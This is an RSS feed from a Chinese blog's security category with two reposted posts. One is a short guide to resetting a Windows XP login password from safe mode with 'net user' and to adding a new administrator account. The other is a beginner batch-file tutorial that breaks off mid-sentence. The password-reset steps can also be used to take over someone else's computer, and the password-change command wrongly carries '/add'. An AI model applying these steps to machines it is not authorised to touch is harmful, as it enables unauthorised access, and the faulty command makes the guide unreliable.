﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-thinktalk-随笔分类-安全</title><link>http://www.blogjava.net/ThinkingTalking/category/26286.html</link><description>Do what I can do!</description><language>zh-cn</language><lastBuildDate>Mon, 31 Mar 2008 15:23:10 GMT</lastBuildDate><pubDate>Mon, 31 Mar 2008 15:23:10 GMT</pubDate><ttl>60</ttl><item><title>巧破Windows XP的登录密码</title><link>http://www.blogjava.net/ThinkingTalking/archive/2008/03/28/189323.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Fri, 28 Mar 2008 10:00:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2008/03/28/189323.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/189323.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2008/03/28/189323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/189323.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/189323.html</trackback:ping><description><![CDATA[<div class="mt10"><strong>转自：</strong> http://www.mtime.com/blog/trackback/303635/ </div>
其命令格式为：
<p>　　net user [UserName [Password 　 *] [options]] [/domain]</p>
<p>　　net user [UserName {Password 　 *} /add [options] [/domain]</p>
<p>　　net user [UserName [/delete] [/domain]]</p>
<p>　　我们现在以恢复本地用户&#8220;allip&#8221;口令为例，来说明解决忘记登录密码的步骤：</p>
<p>　　1、重新启动计算机，在启动画面出现后马上按下F8键，选择&#8220;带命令行的安全模式&#8221;。</p>
<p>　　2、运行过程结束时，系统列出了系统超级用户&#8220;administrator&#8221;和本地用户&#8220;allip&#8221;的选择菜单，鼠标单击&#8220;administrator&#8221;，进入命令行模式。</p>
<p>　　3、键入命令：&#8220;net user ***** 123456 /add&#8221;，强制将&#8220;allip&#8221;用户的口令更改为&#8220;123456&#8221;。若想在此添加一新用户（如：用户名为abcdef，口令为123456）的话，请键入&#8220;net user abcdef 123456 /add&#8221;，添加后可用&#8220;net localgroup administrators abcdef /add&#8221;命令将用户提升为系统管理组&#8220;administrators&#8221;的用户，并使其具有超级权限。</p>
<p>　　4、重新启动计算机，选择正常模式下运行，就可以用更改后的口令&#8220;123456&#8221;登录&#8220;allip&#8221;用户了。</p>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/189323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2008-03-28 18:00 <a href="http://www.blogjava.net/ThinkingTalking/archive/2008/03/28/189323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bat 批处理命令(转)</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156513.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 28 Oct 2007 10:59:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156513.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/156513.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156513.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/156513.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/156513.html</trackback:ping><description><![CDATA[<div class="tit">bat 批处理命令 文件 类型 语法 格式 应用 详解</div>
<div class="date">2007-04-23 13:04</div>
<p>
<table style="table-layout: fixed">
    <tbody>
        <tr>
            <td>
            <div class="cnt">
            <div class="textbox-content">
            <p>&nbsp;&nbsp;&nbsp;&nbsp; 　<font size="3"><strong>如何创建批处理文件？</strong></font></p>
            <p>　　　　不要听了批处理文件就感到很神气，其实这东西很简单的．你用过记事本没有？用过？　好的．将记事本打开，什么都不用写，然后选择文件，保存．保存类型选择所有文件，文件名则命名为　＊．bat　这个＊代表是文件名，你可以随便的起．保存好之后，看看你保存的地方，会出现一个白色窗口里有个黄色齿轮的图标．这东西就是你创建的批处理文件，双击他就可以运行，但他现在由于里面没有输入任何命令，所以他运行了并不会做任何事情．当我们想往这个＊.bat文件中添加东西时，只要右键选择他，然后选择编辑，就可以打开记事本往内输入命令了．</p>
            <p>　　<font size="3"><strong>批处理文件中的命令是什么？</strong></font></p>
            <p>　　批处理文件中的命令暂时先可以理解为dos命令，等稍后深入理解了以后再进行解释．批处理顾名思义就是一大堆东西堆在一起处理．换句话说就是往里面写一条条dos命令，然后按顺序挨个执行，效果跟你在cmd里敲dos命令是一个效果．只不过用批处理写好之后，要运行只要双击下就可以运行了．而不用再一遍一遍的重复的往里面打命令．这就是批处理文件的好处．</p>
            <p>　　除了运行dos命令之外，他还可以支持选择结构if，循环结构for，goto等，与c有点类似，但远没有c全面，并且编写语言十分不规范．</p>
            <p>　　<strong><font size="3">批处理语法：</font></strong></p>
            <p>先讲个最基本的东西　<strong><font color="#ff0000">@echo off</font></strong></p>
            <p>　　echo的意思是回旋，这里的意思就是回显，echo　off意思就是关闭回显．前面的@表示echo off 这一行也不会回显你可以试着去掉@和整行去掉．@的另一个功能是在执行完批处理文件时自动恢复命令回显。如果第一句用的是ECHO OFF，那么在执行完批处理文件以后不会显示命令提示符。</p>
            <p>举个例子：如果我们先创建一个１．bat文件，往里面输入：</p>
            <p>dir 然后保存在c：＼下．然后我们运行cmd，进入c盘根目录下，输入１．bat，则显示：</p>
            <p><font color="#0000e0">C:\&gt;dir<br />
            驱动器 C 中的卷没有标签。<br />
            卷的序列号是 0C5D-07FF</font></p>
            <p><font color="#0000e0">C:\ 的目录</font></p>
            <p><font color="#0000e0">2004-08-25&nbsp;&nbsp; 00:45&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WINDOWS<br />
            2004-08-25&nbsp;&nbsp; 00:51&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Documents and Settings</font></p>
            <p><font color="#0000e0">...........</font></p>
            <p><font color="#0000e0">C:\</font></p>
            <p>如果将１．bat内容修改成</p>
            <p>echo off</p>
            <p>dir</p>
            <p>然后再在cmd里输入１．bat，则会显示 </p>
            <p><font color="#0060ff">C:\&gt;echo off　　　　　　　//因为运行了echo　off，所以没有显示dir命令，直接显示了结果<br />
            驱动器 C 中的卷没有标签。<br />
            卷的序列号是 0C5D-07FF</font></p>
            <p><font color="#0060ff">C:\ 的目录</font></p>
            <p><font color="#0060ff">2004-08-25&nbsp;&nbsp; 00:45&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WINDOWS<br />
            2004-08-25&nbsp;&nbsp; 00:51&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Documents and Settings</font></p>
            <p><font color="#0060ff">．．．．．</font></p>
            <p><font color="#0060ff">C:\</font></p>
            <p><font color="#000000">如果将１．bat文件修改成：</font></p>
            <p>@echo off<br />
            dir</p>
            <p>则显示成：</p>
            <p><font color="#0060ff">C:\&gt;1.bat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //与前面不同，并没有显示echo　off，原因是加了＠，所以不显示＠后面的内容．又因为加</font></p>
            <p><font color="#0060ff">　　　　　　　　//了echo　off，所以后面的命令不显示，直接显示结果<br />
            驱动器 C 中的卷没有标签。<br />
            卷的序列号是 0C5D-07FF</font></p>
            <p><font color="#0060ff">C:\ 的目录</font></p>
            <p><font color="#0060ff">2004-08-25&nbsp;&nbsp; 00:45&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WINDOWS<br />
            2004-08-25&nbsp;&nbsp; 00:51&nbsp;&nbsp;&nbsp;&nbsp; &lt;DIR&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Documents and Settings</font></p>
            <p><font color="#0060ff">．．．．</font></p>
            <p><font color="#0060ff">C:\</font></p>
            <p>通过以上的比较，相信你对echo　off命令已经充分掌握了．现在已经１点了．．．写得累啊！！！洗澡睡觉去了</p>
            <p>－－－－－－－－－－－－－－－－－－－－－－</p>
            <p>早晨６点就被拉起来了．．．我命苦啊，那么继续写吧</p>
            <p>－－－－－－－－－－－－－－－－－－－－－－</p>
            <p>接下来讲的是<strong><font color="#ff0000">call命令</font></strong>：</p>
            <p>call是打电话的call，而不是＂喔靠＂的靠：）．call的意思为调用．假如有２个批处理文件a.bat和b.bat．如果我想运行a.bat的当中运行b.bat．如何运行呢？其实很简单，只要在a.bat文件中输入call命令，则可以在a.bat运行的当中，运行b.bat，等b.bat运行完之后，继续执行a.bat</p>
            <p>call命令格式：</p>
            <p>CALL [drive:][path]filename [batch-parameters]</p>
            <p>&nbsp;&nbsp; batch-parameters&nbsp;&nbsp;&nbsp; 指定批处理程序所需的命令行信息。</p>
            <p>举例如下，我们在c盘根目录下创建a．bat文件，内容为:</p>
            <p>echo　this is a.bat</p>
            <p>call d:\b.bat</p>
            <p>echo done</p>
            <p>然后在d盘根目录下创建b.bat，内容为：</p>
            <p>echo this is b.bat</p>
            <p>保存后，打开cmd，进入c盘根目录，然后输入1.bat，显示如下：</p>
            <p><font color="#0060ff">C:\&gt;a.bat</font></p>
            <p><font color="#0060ff">C:\&gt;echo this is a.bat<br />
            this is a.bat</font></p>
            <p><font color="#0060ff">C:\&gt;call d:\b.bat</font></p>
            <p><font color="#0060ff">C:\&gt;echo this is b.bat<br />
            this is b.bat</font></p>
            <p><font color="#0060ff">C:\&gt;echo done<br />
            done</font></p>
            <p>由例子很容易看出来，是先运行a.bat的内容，直到遇到call　b.bat后，则调用b.bat，运行完b.bat后，再返回a.bat接着运行call　b.bat后面的echo　done语句，直至将a.bat的所有批处理命令运行完．</p>
            <p><font color="#008000">注：里面有个[batch-parameters]里面的所指的参数是什么，知道的朋友能否告知，不胜感激．</font></p>
            <p><font color="#000000"><font color="#e00000"><strong>PAUSE 命令<br />
            </strong></font><br />
            暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处理程序中使用该命令。</font></p>
            <p><strong><font color="#e00000">rem命令：</font></strong></p>
            <p>表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）．</p>
            <p>同时你可以用两个冒号来替代rem．如：　::等同于一个rem．但他们有个区别，就是用::作注释的话他是不回显的，即使你打echo　on强制回显也没有同的．同时rem可以在config.sys中加注释．</p>
            <p>语法： rem[commnet]</p>
            <p><strong><font size="3">批处理文件参数：</font></strong></p>
            <p>有点变成基础的人都知道函数有参数．批处理文件也有参数．</p>
            <p>我打个比方，希望能帮助没有语言基础的人也能看的非常明白．　</p>
            <p>我从例子里开始吧．首先在c盘根目录下创建一个批处理文件 a．bat，里面输入内容</p>
            <p>echo %1</p>
            <p>然后打开cmd，然后进入c盘根目录．输入：a "this is a canshu"</p>
            <p>得到结果如下：</p>
            <p><font color="#0060ff">C:\&gt;a.bat "this is a test"</font></p>
            <p><font color="#0060ff">C:\&gt;echo "this is a test"<br />
            "this is a test"</font></p>
            <p><font color="#000000">　　输入的a "this is a canshu"中，a为新建的a.bat的文件名a（后面的.bat可写也可不写），而a后面的　"this is a canshu"这句话就是参数，写在这的参数，在程序运行中就将参数自动放到批处理程序中去．那么放在什么位置呢？就是放在　%1的地方．</font></p>
            <p>　　看了例子，让我们看看整个关于参数的定义如何：</p>
            <p>　　<font color="#00a000">批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。 <br />
            　　%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。</font><font color="#e00000">//我们上个程序的例子里就有％１，他就是参数，而输入中＂this　is　a　test＂作为参数就直接放到％１的位置，于是程序就变成了 echo "this is a test"．</font></p>
            <p>　　再举几个例子帮助你理解：</p>
            <p>C:根目录下一批处理文件名为b.bat，内容为: <br />
            @echo off <br />
            type %1 　　　　<font color="#e00000">//type为dos中的输出命令，可以用来输出文本文件的内容，比如我们新建一个１．txt文件</font></p>
            <p><font color="#e00000">　　　　　　　　　//里面输入内容，保存．进cmd，如果输入１．txt则看不了１．txt文件内容，但是如果我</font></p>
            <p><font color="#e00000">　　　　　　　　　//想看怎么办呢？这时候可以用type命令，只要在cmd里输入type　１．txt就能显示</font></p>
            <p><font color="#e00000">　　　　　　　　　//１．txt文件中的内容了　</font><br />
            type %2 <br />
            <br />
            那么运行C:\&gt;b a.txt b.txt <br />
            %1 : 表示a.txt <br />
            %2 : 表示b.txt </p>
            <p>于是上面的批处理命令就变成了</p>
            <p>@echo off</p>
            <p>type a.txt</p>
            <p>type b.txt<br />
            于是上面的命令将顺序地显示a.txt和b.txt文件的内容。</p>
            <p>没有编程基础的人可能要问，干什么要弄个参数啊？在后面加个参数多麻烦啊？直接往里面写不就好了啊？！其实这样想有对的方面也有错的方面．还是举个例子说明吧．</p>
            <p>第一步还是在c盘根目录下新建一个批处理文件，我们取名仍为a.bat．往里面的内容输入为：</p>
            <p>ping %1　　<font color="#ff0000">//ping命令可以简单理解为测试一台机器开着还是没有开，如果开着的话，他就回给你回送回应．</font></p>
            <p>然后进cmd，我们想测试下１６３的服务器是不是开着，则输入a <a href="http://www.163.com/"></a><a href="http://www.163.com/" target="_blank"><font color="#000000">www.163.com</font></a></p>
            <p>　　对于知道ping命令的人，可以打ping进行检查，但如果想ping的人不知道ping命令怎么用，那怎么办啊？这时候你就可以把命令预先输入到批处理文件中，保存好，然后让不会用的人进cmd，运行你的批处理文件，文件名后面加上他要ping　的网站地址就行了．换句话说，他想ping　１６３就直接加１６３的网址，想ping　sina就直接加sina的网址．这样只要输入一个参数，而不用改程序本身，整个程序的通用性就大大提高了．</p>
            <p>　　这是对于一个简单的ping命令，你或许觉得用参数不值得，还是直接改不就好了啊．但如果程序有很多条，你一下找不到在哪改怎么办啊？所以，不管你是菜哥，菜弟，菜姐，菜妹，只要运行下，输入参数，结果自己就会出来，不用再象你一样，考虑怎么编写批处理文件．人家只要知道是输入什么东西能让批处理程序运行，而编写的人则想的是如何让不懂程序的人能运行程序．</p>
            <p>　　批处理参数就这么简单，不知道你理解了没有？但如果你想深一步了解批处理参数，可以接着往下看，如果不想深入了解，知道现在这么多也就够了．</p>
            <p>以下粉红色内容为网上资料．</p>
            <p>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
            <p><font color="#ff00ff">　　因为参数只有１％－９％，但当我们要引用第十个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下: </font></p>
            <p><font color="#ff00ff">初始状态, cmd 为命令名, 可以用 %0 引用 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^ <br />
            &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line; <br />
            %0&nbsp;&nbsp; %1&nbsp;&nbsp;&nbsp;&nbsp; %2&nbsp;&nbsp;&nbsp; %3&nbsp;&nbsp;&nbsp; %4&nbsp;&nbsp;&nbsp; %5&nbsp;&nbsp;&nbsp; %6&nbsp;&nbsp;&nbsp;&nbsp; %7&nbsp;&nbsp;&nbsp; %8&nbsp;&nbsp;&nbsp; %9 </font></p>
            <p><font color="#ff00ff">经过1次shift后, cmd 将无法被引用 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^ <br />
            &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line; <br />
            %0&nbsp;&nbsp; %1&nbsp;&nbsp;&nbsp;&nbsp; %2&nbsp;&nbsp;&nbsp; %3&nbsp;&nbsp;&nbsp; %4&nbsp;&nbsp;&nbsp; %5&nbsp;&nbsp;&nbsp; %6&nbsp;&nbsp;&nbsp;&nbsp; %7&nbsp;&nbsp;&nbsp; %8&nbsp;&nbsp;&nbsp; %9 </font></p>
            <p><font color="#ff00ff">经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^ <br />
            &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;line; <br />
            %0&nbsp;&nbsp; %1&nbsp;&nbsp;&nbsp;&nbsp; %2&nbsp;&nbsp;&nbsp; %3&nbsp;&nbsp;&nbsp; %4&nbsp;&nbsp;&nbsp; %5&nbsp;&nbsp;&nbsp; %6&nbsp;&nbsp;&nbsp;&nbsp; %7&nbsp;&nbsp;&nbsp; %8&nbsp;&nbsp;&nbsp; %9 </font></p>
            <p><font color="#ff00ff">遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针. <br />
            ================= </font></p>
            <p><strong><font size="3">if goto choice for高级语法</font></strong></p>
            <p><font color="#000000">今天就写到这吧，我收拾收拾东西准备滚蛋回学校了．可能if　goto　choice　for高级语法要在沈阳才能完成了，祝我好运吧．</font></p>
            <p>======================</p>
            <p>学校的"网吧"终于算重新开张了,抓紧时间把剩下的写完</p>
            <p><font color="#ff0000"><strong>if命令</strong></font></p>
            <p>说得通俗点，if就相当于我们白话里的如果．</p>
            <p>举个例子：如果a喜欢b，那么a就要娶b．　这句话翻译成计算机语言就成了</p>
            <p>if　a喜欢b　a就要娶b．</p>
            <p>当然拉，计算机不可能理解a喜欢b，a就要娶b这两句话，这里只是举个例子让你方便理解．</p>
            <p>if语句一共有3种模式,如下:</p>
            <p><br />
            IF [NOT] string1==string2 command<br />
            IF [NOT] EXIST filename command<br />
            IF [NOT] ERRORLEVEL number command</p>
            <p>　<font color="#00a000">NOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定只有条件为 false 的情况下， Windows XP 才应该执行该命令。</font></p>
            <p><font color="#00a000">　ERRORLEVEL number 如果最后运行的程序返回一个等于或大于指定数字的退出编码，指定条件为 true。</font></p>
            <p><font color="#00a000">　string1==string2&nbsp;&nbsp; 如果指定的文字字符串匹配，指定条件为 true。</font></p>
            <p><font color="#00a000">　EXIST filename&nbsp;&nbsp;&nbsp;&nbsp; 如果指定的文件名存在，指定条件为 true。</font></p>
            <p><font color="#00a000">　command&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果符合条件，指定要执行的命令。如果指定的条件为 FALSE，命令后可跟一个执行 ELSE关键字后的命令的 ELSE 命令。</font></p>
            <p>我们先讲解第一种:</p>
            <p><font color="#0000ff"><strong>IF [NOT] string1==string2 command</strong></font></p>
            <p>自然语句意思：如果string1＝＝string2，那么执行command</p>
            <p>下面再举个能实际应用的if语句．</p>
            <p>自然语句：如果输入的参数为３，那么显示＂a＝３＂</p>
            <p>计算机语句：</p>
            <p>@echo off<br />
            if "%1"=="3" echo "a=3"</p>
            <p>或者写成</p>
            <p>@echo off<br />
            if %1==3 echo "a=3"</p>
            <p>注意:当要测试的时候,因在cmd底下,输入1.bat 3.因为这里用了是传递参数,具体看文章前部分"批处理文件参数".</p>
            <p>第二种：</p>
            <p><strong><font color="#0000ff">IF [NOT] EXIST filename command</font></strong></p>
            <p><font color="#0000ff"><font color="#000000">这条命令用语检测文件是否存在．如果存在，执行command．如果不存在，则什么也不显示．</font></font></p>
            <p>如：我们想检查e盘根目录下是否有一个叫２.txt的文件．如果存在，则显示exist．如果不存在，则什么也不显示．</p>
            <p>批处理命令如下：</p>
            <p>@echo off<br />
            if exist e:\2.txt echo "exist 2.txt"</p>
            <p>第三种：</p>
            <p><font color="#0000ff"><strong>IF [NOT] ERRORLEVEL number command</strong></font></p>
            <p>这个我引用点资料，感觉别人写得更详细，引用部分为粉色字部分：</p>
            <p><font color="#ff00ff">if errorlevel &lt;数字&gt; 待执行的命令 </font></p>
            <p><font color="#ff00ff">很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 </font></p>
            <p><font color="#ff00ff">如if errorlevel 2 goto x2 </font></p>
            <p><font color="#ff00ff">==== 注 =========== <br />
            返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: </font></p>
            <p><font color="#ff00ff">if errorlevel 1 set el=1 <br />
            if errorlevel 2 set el=2 <br />
            if errorlevel 3 set el=3 <br />
            if errorlevel 4 set el=4 <br />
            if errorlevel 5 set el=5 <br />
            ... </font></p>
            <p><font color="#ff00ff">当然, 也可以使用以下循环来替代, 原理是一致的: <br />
            for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e </font><font color="#000000">//此处为一个for循环，后面会继续　　　　　　　　　　　　　　　　　　　　　　　　介绍到的，看不懂可以先跳过去</font></p>
            <p><font color="#ff00ff">if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. </font></p>
            <p><font color="#ff00ff">另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了</font> <br />
            </p>
            <p><strong><font color="#e00000">choice命令</font></strong></p>
            <p>？？？？</p>
            <p><strong><font color="#ff0000">goto命令</font></strong></p>
            <p><strong><font color="#ff0000">for命令</font></strong></p>
            <p>for命令其实就是一个循环命令,如果我们想重复一个语句,就可以用for命令.通过for命令,可以控制循环的次数等.</p>
            <p>语法:</p>
            <p><font color="#0000ff"><strong>FOR %variable IN (set) DO command [command-parameters]</strong></font></p>
            <p>&nbsp;&nbsp; %variable&nbsp;&nbsp; 指定一个单一字母可替换的参数。<br />
            &nbsp;&nbsp; (set)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定一个或一组文件。可以使用通配符。<br />
            &nbsp;&nbsp; command&nbsp;&nbsp;&nbsp;&nbsp; 指定对每个文件执行的命令。<br />
            &nbsp;&nbsp; command-parameters<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为特定命令指定参数或命令行开关。</p>
            <p>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />
            而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I.</p>
            <p>　　不知道你你看懂了没有，其实还是很容易理解的，还是举个例子吧．我想用type打印所有c盘根目录下的bat文件和txt文件．dos底下命令就是　type　＊．bat　＊.txt．先将该文件保存在c盘根目录下,名称为a.bat</p>
            <p>用for命令如下：</p>
            <p><font color="#0060ff">for %%t in (*.bat *.txt) do type %%t</font></p>
            <p>%%t其实就是代表的一个参数，他的内容在in() 里面括号里的内容.也就是说这句话里的%%t就变成了*.bat *.txt了.do就是做的意思,执行type命令,而type后面是%%t,而%%t又是*.bat *.txt.所以原来这句命令的意思就变成了:</p>
            <p><font color="#0000ff">type *.bat *.txt</font></p>
            <p>执行时进cmd,然后到c盘根目录下输入a.bat就可以打印出c盘根目录下所有扩展名为.bat和.txt的文件内容了.</p>
            <p>这里要注意：in后面有个空格．</p>
            <p>&nbsp;</p>
            <p><strong>在xp底下,for命令扩展名被起用因此for的功能变得更加强大.下面讲一个真正的循环.</strong></p>
            <p><br />
            <strong><font color="#0000ff">FOR /L %variable IN (start,step,end) DO command [command-parameters]</font></strong></p>
            <p>&nbsp;&nbsp;&nbsp;&nbsp; 该集表示以增量形式从开始到结束的一个数字序列。<br />
            &nbsp;&nbsp;&nbsp;&nbsp; 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />
